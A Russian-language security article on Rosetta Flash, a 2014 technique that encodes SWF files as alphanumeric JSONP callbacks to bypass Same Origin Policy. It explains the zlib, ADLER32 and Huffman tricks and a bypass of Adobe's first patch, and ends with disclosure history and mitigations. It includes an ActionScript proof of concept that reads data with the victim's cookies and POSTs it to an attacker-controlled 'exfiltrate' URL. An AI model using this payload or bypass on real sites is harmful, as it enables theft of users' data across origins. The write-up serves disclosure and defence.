В этой статье мы познакомимся с Rosetta Flash (CVE-2014-4671, CVE-2014-5333) — утилитой, которая создает специальные SWF-файлы, состоящие из ограниченного набора символов, чтобы использовать их против конечных точек JSONP. Это позволяет проводить CSRF-атаки на домены, хостящие конечные точки JSONP, и обходить ограничение Same Origin Policy.

 

Предисловие

Но каков же масштаб угрозы? Дело в том, что с помощью такой атаки возможно заставить жертву выполнить произвольные запросы к любому домену с JSONP конечным точками и переправлять потенциально важную информацию, не ограниченную только JSON-ответами, на подконтрольный атакующему сайт.

Домены Google, YouTube, Twitter, LinkedIn, Yahoo!, eBay, Mail.ru, Flickr, Baidu, Instagram, Tumblr и Olark имели или имеют на момент написания этой статьи уязвимые конечные точки JSONP. Популярные фреймворки для веб-разработки Ruby on Rails и MediaWiki также содержали эту уязвимость.

INFO

Rosetta Flash номинирована на премию Pwnie Award и победила в Internet Bug Bounty.

 

 

План атаки

Для ясного понимания сценария атаки необходимо принять во внимание сочетание трех факторов:

  1. Во Flash SWF-файл может выполнять GET- и POST-запросы, содержащие cookie, к сайту, на котором он хостится, без проверки crossdomain.xml. Именно поэтому разрешать пользователям загружать SWF-файлы на важные домены опасно: загрузив особым образом созданный SWF, атакующий может заставить жертву выполнить запрос, имеющий побочный эффект, и вытащить важные данные на внешний, контролируемый атакующим домен.
  2. Дизайн JSONP позволяет атакующему контролировать первые байты вывода конечной точки путем указания callback-параметра в URL-запросе. Так как большинство JSONP callback’ов ограничивают допустимый набор символов до [a­-zA­-Z_\.], мой инструмент сфокусирован именно на этом ограниченном наборе, но может работать и с другим набором допустимых символов, заданным пользователем.
  3. SWF-файлы могут быть внедрены на контролируемый хакерами домен с помощью тега <object> и выполнятся как Flash, если их содержимое будет соответствовать содержимому валидного Flash-файла.

Rosetta Flash использует zlib, алгоритм кодирования Хаффмана и брутфорс контрольной суммы ADLER32 для конвертации любого SWF-файла в эквивалентный, но состоящий только из буквенно-цифровых символов, который можно передать в качестве JSONP callback’а и который потом вернется конечной точкой, успешно разместившей Flash-файл на уязвимом домене.

Рис. 1. Rosetta Flash принимает на вход обычный бинарный SWF и возвращает эквивалентный, сжатый zlib, состоящий только из буквенно-цифровых символов

 

Технические детали

Rosetta Flash использует алгоритм Хаффмана для сопоставления неразрешенных байт с разрешенными. Естественно, так как мы сопоставляем широкий набор символов с более узким, это не является сжатием в традиционном смысле этого слова, по сути, мы используем алгоритм Хаффмана в качестве Розеттского камня.

 

Формат Flash-файла

Flash-файл может быть несжатым (magic bytes FWS в заголовке), сжатым с помощью zlib (CWS) или сжатым по алгоритму LZMA (ZWS). Чем отличается их внутреннее устройство, можно посмотреть на рис. 2.

Рис. 2. Форматы SWF-заголовков

Кроме того, парсеры флеш-файлов очень либеральны и обычно игнорируют невалидные поля (такие как Version или FileLength). Это очень хорошо для нас, так как мы можем записывать туда любые символы, какие нам понадобится.

Рис. 3. Flash-парсеры очень либеральны

 

Заголовок zlib

Теперь поговорим немного про zlib-заголовок сжатого с помощью zlib флеш-файла. Нам необходимо убедиться, что первые два байта zlib-потока, который на самом деле является оберткой над DEFLATE, корректны для нас, то есть это буквы либо цифры. Если заглянуть в спецификацию, то zlib-поток выглядит следующим образом:

0 1

+---+---+=====================+---+---+---+---+

|CMF|FLG|...compressed data...| ADLER32 |

+---+---+=====================+---+---+---+---+

 

Первые два байта заголовка, которые нас интересуют, — это CMF и FLG.

Первый байт, CMF (Compression Method and flags), делится на два четырехбитных поля: первое, CM [0:3], отвечает за метод компрессии, второе, CINFO [4:7], информационное, содержит информацию в зависимости от метода компрессии.

Рис. 4. Колдуем над первым байтом zlib-заголовка

Второй байт, FLG (Flags), делится следующим образом:

  • биты [0:4] — поле FCHECK;
  • бит 5 — поле FDICT;
  • биты [6:7] — FLEVEL.

FCHECK (Check bits for CMF and FLG) должно иметь такое значение, чтобы CMF и FLG, интерпретируемые как 16-битное беззнаковое целое (unsigned int), хранимое в MSB-порядке (CMF*256+FLG), было кратно 31.

FDICT (Preset distionary) — если установлен данный флаг, то сразу же за FLG-байтом в zlib-потоке будет расположен четырехбайтовый идентификатор словаря DICT. Он нам не нужен, поэтому поле FDICT будем устанавливать в 0 (из-за чего я намеренно не привел DICT на схеме выше).

FLEVEL (Compression level) — уровень компрессии; забегая вперед, скажу, что мы будем устанавливать его в значение 3 (11 в бинарном виде), что означает максимальную компрессию и самый медленный алгоритм.

Теперь собираем всю эту информацию воедино. И оказывается, что существует не так много допустимых двухбайтовых последовательностей для CM + CINFO + FLG (учитывая проверочные биты FCHECK для CMF и FLG, на которые наложено определенное ограничение; FDICT, который должен быть установлен в 0, и уровень компрессии, который у нас равен 3).

Рис. 5. Колдуем над вторым байтом zlib-заголовка

Долго ходить вокруг да около не будем, скажу, что последовательность 0x68 0x43 = hC разрешена и Rosetta Flash использует именно ее. А 0x6842 = 26691 mod 31 = 0, так что все в порядке с FCHECK.

 

Манипулируем контрольной суммой ADLER32

Как ты можешь видеть из формата заголовка SWF-файла (см. рис. 2), контрольная сумма, располагающаяся в конце zlib-потока, сжатого SWF, также должна состоять из буквенно-цифровых символов, чтобы подходить под наши нужды. Rosetta Flash присоединяет байты хитрым способом, чтобы получить ADLER32 контрольную сумму оригинального несжатого SWF-файла, которая состоит только из символов [a-zA-Z0-9_\.].

Контрольная сумма ADLER32 состоит из двух четырехбайтовых сумм, S1 и S2, объединенных между собой. Алгоритм работы расчета контрольной суммы представлен на рис. 6.

Рис. 6. Контрольная сумма ADLER32

Для нашей задачи S1 и S2 должны быть соответствующего вида (а именно быть буквенно-цифровыми). Вопрос: как найти подходящую контрольную сумму, манипулируя исходным несжатым SWF? К счастью, формат SWF позволяет добавлять произвольные байты к концу исходного SWF: они игнорируются. В этом вся фишка. Но как рационально присоединять байты? Я назвал свой подход Sleds + Deltas техникой (см. рис. 7).

Рис. 7. Манипуляции над контрольной суммой

По существу, мы продолжаем добавлять след из старших байтов (из 0xfe, поскольку значение 0xff не так хорошо работает с алгоритмом Хаффмана, который задействуем позже) до тех пор, пока не останется один байт, добавление которого вызовет переполнение по модулю S1, он и станет минимальным валидным байт-представлением, или дельтой. Затем мы добавляем эту дельту, и теперь у нас есть валидная сумма S1, и мы хотим сохранить ее таковой. Поэтому мы добавляем след из NULL-байтов, до тех пор пока это не вызовет переполнение по модулю S2, и также получаем валидное значение суммы S2.

 

Магия Хаффмана

После того как получим несжатый SWF-файл с буквенно-цифровым значением контрольной суммы и валидным буквенно-цифровым zlib-заголовком, настанет время создать динамический код Хаффмана, который преобразует все байты в [a­-zA­Z0-­9_.] символы. Эта часть утилиты Rosetta еще довольно сырая и нуждается в доработке. Прежде всего необходима оптимизация для повышения эффективности работы с большими файлами.

Рис. 8. Формат DEFLATE-блока

Мы используем два разных самописных кодировщика Хаффмана, которые особенно не стараются быть производительными, а фокусируются на выравнивании и смещении байтов, чтобы байты попали в допустимый набор символов. Для того чтобы сгладить неизбежный рост размера, повторяющиеся коды (код 16, сопоставленный с 00) используются для генерации сокращенного вывода, который все еще является буквенно-цифровым. Пример вывода утилиты ты можешь увидеть на рис. 9.

Рис. 9. Вывод Rosetta Flash

 

Универсальный, заряженный РоС

Теперь у нас есть все, что нам нужно. И мы можем начать создавать свои хитрые SWF-файлы. Этот пример кода написан на ActionScript 2.0 (для open source компилятора mstsc)

class X {

static var app : X;

function X(mc) {

if (_root.url) {

var r:LoadVars = new LoadVars();

r.onData = function(src:String) {

if (_root.exfiltrate) {

var w:LoadVars = new LoadVars();

w.x = src;

w.sendAndLoad(_root.exfiltrate, w, "POST");

}

}

r.load(_root.url, r, "GET");

}

}

// entry point

static function main(mc) {

app = new X(mc);

}

}

 

Скомпилируем его в несжатый SWF-файл и скормим его Rosetta Flash. Буквенно-цифровой вывод (в сжатом виде, без переносов строк) представлен на рис. 10.

Рис. 10. Хитрый SWF на выходе Rosetta Flash

Атакующий размещает HTML-страницу с таким файлом на своем домене вместе с файлом crossdomain.xml в корневом каталоге, который разрешает внешние подключения, и заставляет жертву загрузить эту страницу.

Рис. 11. Таким образом можно встроить наш специально созданный SWF-файл в страницу

Данный универсальный РоС принимает два параметра, содержащихся в FlashVars (см. рис. 11):

  • url — URL на том же домене, что и уязвимая конечная точка, к которой выполняется GET-запрос с cookies жертвы;
  • exfiltrate — контролируемый атакующим URL, куда POST’ом отправляется переменная x, содержащая вытянутые данные жертвы.
 

Защита и обнаружение. Меры безопасности от Adobe

По причине большой потенциальной опасности этой уязвимости я сначала сообщил о ней Google (своему работодателю), а затем Adobe PSIRT. За несколько дней до того, как выложить код в паблик и написать пост в своем блоге, я также уведомил Twitter, eBay, Tumblr и Instagram.

Adobe подтвердили, что они предварительно исправили баг в бета-версии Flash Player 14 (14.0.0.125) и окончательно избавились от него в следующем релизе (14.0.0.145).

В бюллетене безопасности APSB14-17 Adobe упоминает о внедрении более строгой проверки формата SWF-файлов: Это обновление содержит дополнительные проверки валидности, которые следят за тем, чтобы Flash Player не отбрасывал вредоносный контент от API c уязвимыми JSONP callback’ами.

Данный фикс был не очень хорош, и я сумел обойти его менее чем за час. Итак, что делал Flash Player, чтобы предотвратить атаки, подобные Rosetta Flash:

  1. Проверял первые 8 байт файла. Если они содержали хотя бы один не разрешенный в JSONP символ, то SWF признавался безопасным и не подвергался дальнейшим проверкам.
  2. В противном случае Flash проверял следующие 4096 байт. Если среди них находился хоть один символ, не разрешенный в JSONP, то SWF считался безопасным.
  3. Иначе файл считался небезопасным и не выполнялся.

Список символов, не соответствующих JSONP, очень обширен — [^0-9A-Za-z\._]. К примеру, они рассматривали знак $ как запрещенный в JSONP callback’е, но это не всегда правда, так как он используется в jQuery и других модных JS-библиотеках.

Это значит, что если ты добавишь знак $ в ALLOWED_CHARACTERS в Rosetta Flash и конечная точка JSONP будет считать знак доллара в callback’е нормальным символом (как это обычно бывает), то багфикс будет обойден.

Кроме того, созданный Rosetta Flash SWF заканчивается 4 байтами, являющими результатом манипуляций над ADLER32 контрольной суммой оригинального несжатого файла. Заинтересованный хакер может использовать эти последние четыре доступных байта, заставив их соответствовать значению, возвращаемому конечной точкой JSONP после набивки.

Пример, который всегда работает, — один символ сразу после возвращенного колбэка: открывающая скобка: (.

Таким образом, если мы сделаем последний байт контрольной суммы равным символу (, а остальная часть SWF-файла будет состоять только из букв и цифр, мы сможем передать весь файл за исключением последнего байта в качестве callback’а и получим ответ с полностью валидным SWF, который обойдет проверку Adobe (потому что символ ( недопустим в callback’ах).

Нам повезло: последний байт контрольной суммы является наименее значимым байтом S1, частичной суммы, и достаточно просто установить его в ( с помощью нашей Sled + Delta техники перебора.

Я сообщил об этой возможности Adobe сразу же, как только обнаружил ее, и несколько дней спустя мои изыскания были опубликованы. Мы стали работать вместе над полноценным исправлением. Adobe выпустил улучшенный багфикс 12 августа 2014 года. Новая версия выполняет следующие проверки:

  1. Ищет Content-Type: application/x-shockwave-flash заголовок. Если находит, то все ОК.
  2. Сканирует первые 8 байт файла. Если какой-то байт >=0х80 (non-ASCII), то все в порядке.
  3. Сканирует оставшуюся часть SWF-файла, максимум – 4096 байт. Если любой из этих файлов также non-ASCII, то файл считается корректным.
  4. В противном случае SWF-файл является недействительным и не выполняется.
 

Меры безопасности для владельцев сайтов

Прежде всего, важно избегать использования JSONP на важных доменах, и, если возможно, использовать для этого выделенный sandbox-домен.

В целях защиты стоит заставить конечные точки отправлять HTTP-заголовок Content-Disposition: attachment; filename=f.txt, провоцируя загрузку файла. Этого достаточно, чтобы приказать Flash Player’у не запускать SWF (начиная с версии 10.2).

Для дополнительной защиты от снифинга контента следует прикреплять к возвращаемому обратному вызову /**/: response.body = "/**/#{param[:callback]}". Это именно то, что Google, Facebook и GitHub делают сейчас.

Кроме того, для предотвращения подобных атак в большинстве современных браузеров ты можешь просто возвращать заголовок X-Content-Type-Options: nosniff. Если конечная точка JSONP возвратит тип содержимого, отличный от application/x-shockwave-flash (обычно application/javascriptor application/json), то Flash Player откажется запускать SWF.

 

Заключение

Данная эксплуатационная техника сочетает в себе JSONP и ранее неизвестную возможность создавать Flash-файлы, состоящие только из цифр и букв, позволяя вытягивать данные пользователей и эффективно обходить Same Origin Policy на большинстве современных веб-сайтов.

Это интересно и удивительно тем, что сочетание двух безобидных фич в совокупности создает уязвимость. Rosetta Flash снова доказывает нам, что плагины в браузерах расширяют возможности для атаки и часто порождают совершенно новые классы векторов для атак.

Являясь нестандартными видом атаки, Rosseta также показала, что не всегда просто определить, какая часть технологии ответственна за дыру в безопасности. В данном случае проблему можно было решить на разных этапах:

  • при парсинге Flash-файла, стараясь, однако, не перегнуть палку с запретами, чтобы не запретить легитимные файлы, сгенерированные «экзотическими» компиляторами;
  • плагином или браузером, например со строгой проверкой Content-Type заголовков (опять же, принимая в расчет веб-серверы, возвращающие неправильное значение Content-Type);
  • и наконец, на уровне API, просто добавляя что-нибудь к возвращаемому callback’у.


Выражаю благодарность Габору Молнару, который работал над ascii-zip, источником вдохновения для Хаффманской части Rosetta, а также моим друзьям и коллегам из Google Security Team, Adobe PSIRT и HackerOne.

 

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии